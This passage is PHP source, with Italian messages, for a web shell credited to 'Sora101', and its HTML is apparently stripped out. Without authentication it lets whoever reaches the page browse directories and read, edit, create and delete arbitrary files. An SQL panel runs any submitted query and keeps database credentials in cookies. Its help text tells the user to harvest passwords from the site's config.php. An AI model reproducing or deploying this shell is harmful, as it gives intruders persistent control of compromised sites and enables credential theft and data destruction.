"; $dir=$_GET["dir"]; if($dir != ""){ $dir=$dir; }else{ $dir="."; } $se= $_SERVER['PHP_SELF']; switch($azione){ case "leggi": $mod = $_GET["mod"]; $file = $_GET["file"]; if($mod == "1"){ $file = $file; echo ""; echo "
File Modificato con successo
"; }else{ echo ""; $file = $dir . "/" . $file; } $peso= filesize($file); $f = fopen($file, 'r'); $contenuto = fread($f , filesize($file)); $contenuto = htmlspecialchars($contenuto); $im = imagecreatetruecolor(1000,7000); $bg = imagecolorallocate($im,87,162,193); $rec = imagecolorallocate($im,87,162,193); $col = imagecolorallocate($im,0,0,0); $bg2 = imagecolorallocate($im,87,162,193); imagefill($im,0,0,$bg); imagerectangle($im,10,10,190,190,$rec); imagefill($im,11,11,$bg2); $li = 1; $y = 2; while($li <= 1000){ imagestring($im,2,900,$y,"$li",$col); $li++; $y += 16; } imagepng($im,"immagine.png"); echo "
Stai Modificando il file:$file
Peso del file: $peso Kb


Torna indietro $sestesso
"; imagedestroy($im); break; case "crea": echo "
Crea un file in questa directory: $dir
Nome(ed estensione):

"; break; case "make": $nuovocont = stripslashes($_POST['contenuto']); $file = $_POST["nome"]; if($dir == "."){ $file = $file; }else{ $file = $dir . "/" . $file; } if(!file_exists($file)){ $f = fopen($file, 'a'); fwrite($f, $nuovocont); fclose($f); $location= "$se?dir=$dir"; header("Location: $location"); }else{ echo "il file esiste gia. Cambia nome!"; } break; case "edita": $nuovocont = stripslashes($_POST['contenuto']); $file = $_GET["file"]; $f = fopen($file, 'w+'); fwrite($f, $nuovocont); fclose($f); $location= "$se?dir=$dir&azione=leggi&file=$file&mod=1"; header("Location: $location"); echo "fatto"; break; case "cartella": $cartella = $_POST['nome']; $cartella = $dir . "/" . $cartella; mkdir($cartella); $location= "$se?dir=$dir"; header("Location: $location"); break; case "cancella": if(file_exists($file)){ unlink($file); $location= "$se?dir=$dir"; header("Location: $location"); }else{ echo "Il file non esite"; } break; //-----------------------------------------------------------------------------------------------------------SQL case "sql": $in=$_GET["in"]; $sezione=$_GET["sez"]; if(isset($host)){ $hostname=$HTTP_COOKIE_VARS["host"]; $user=$HTTP_COOKIE_VARS["user"]; $pass=$HTTP_COOKIE_VARS["pass"]; $dbase=$HTTP_COOKIE_VARS["dbase"]; $connection = mysql_connect("$hostname" , "$user" , "$pass"); $db = mysql_select_db($dbase , $connection); } switch($sezione){ case "logga": $hostname=$_POST["host"]; $user=$_POST["user"]; $pass=$_POST["pass"]; $dbase=$_POST["dbase"]; setcookie ("host",$hostname,time()+2592000,"/"); setcookie ("user",$user,time()+2592000,"/"); setcookie ("pass",$pass,time()+2592000,"/"); setcookie ("dbase",$dbase,time()+2592000,"/"); $location= "$se?azione=sql&in=si&sez=home"; header("Location: $location"); break; case "home": echo "
"; echo "Elenco tabelle presenti nel DataBase
"; $q="show tables"; $result= mysql_query($q, $connection) or die ("Errore: " . mysql_error()); while ($rows = mysql_fetch_array($result)) { echo "" . $rows[0] . "
"; } echo "
"; break; case "tabella": $tab = $_GET["tab"]; $nomecheck = "0"; echo "
"; echo "Elenco campi presenti nella Tabella: $tab
"; $q="Show columns from $tab"; $result= mysql_query($q, $connection) or die ("Errore: " . mysql_error()); echo "
"; while ($rows = mysql_fetch_array($result)) { $nomecheck++; echo "". $rows[0] . "
"; } echo ""; echo ""; echo "
"; echo "
"; break; case "campo": echo "
"; echo "Elenco tabelle presenti nel DataBase
"; $tab = $_POST["tab"]; $campo = $_POST["campo"]; echo "
"; foreach($campo as $value){ echo "
"; echo "
$value
"; $q="select $value from $tab"; $result= mysql_query($q, $connection) or die ("Errore: " . mysql_error()); while ($row = mysql_fetch_array($result)) { $valore = $row["$value"]; echo "
"; echo "$valore
"; echo "
";// } echo "
";//kiude row } echo "
";//kiude block echo "
";//kiude tutto break; case "esegui": $query=$_POST["query"]; $q="$query"; mysql_query($q, $connection) or die ("Attenzione! La query: \"$query\" non ? stata eseguita per il seguente errore:
" . mysql_error()); echo "
query eseguita con successo
"; break; case "slogga": setcookie("host"); $location= "$se?azione=sql"; header("Location: $location"); break; default: echo "
Pannello di controllo SQL v 0.1
Da qui puoi gestire il database sql senza molti problemi.
L'host ? quasi sempre localhost ma controlla il cofing.
Per ottenre l'username e la password trova il file config.php o simile che contiene le password.
in Altervista il database ? \"my_nomeuser\" per tutti gli altri host il database lo torvi nel config.
Host:
Username:
Password:
Database
"; break; } $in=$_GET["in"]; if($in == "si"){ echo"

"; echo "
Home Logout
"; } break; //-----------------------------------------------------------------------------------------------------FINE SQL default : echo "
s101 Interamente creata da Sora101.
Siete liberi di modificarla ma vi prego di tenere i crediti.
"; echo "
"; echo "Crea un nuovo file
"; echo "Pannello SQL
"; echo "
Crea cartella:
"; echo "
"; echo "
"; $col = 0; echo "
"; echo "
"; if ($handle = opendir("$dir")) { while (($file = readdir($handle)) !== false) { $check= "."; $cartelcheck = strpos($file, $check); if($col < 10){ if($file == "." || $file == ".."){continue;} echo "
"; if($cartelcheck === FALSE){ echo "$file
"; }else{ echo "$file
"; } echo "
"; $col++; }else{ echo "
"; echo "
"; $col = 0; } } echo "
"; closedir($handle); } echo "

Torna indietro
"; break; } echo ""; ?>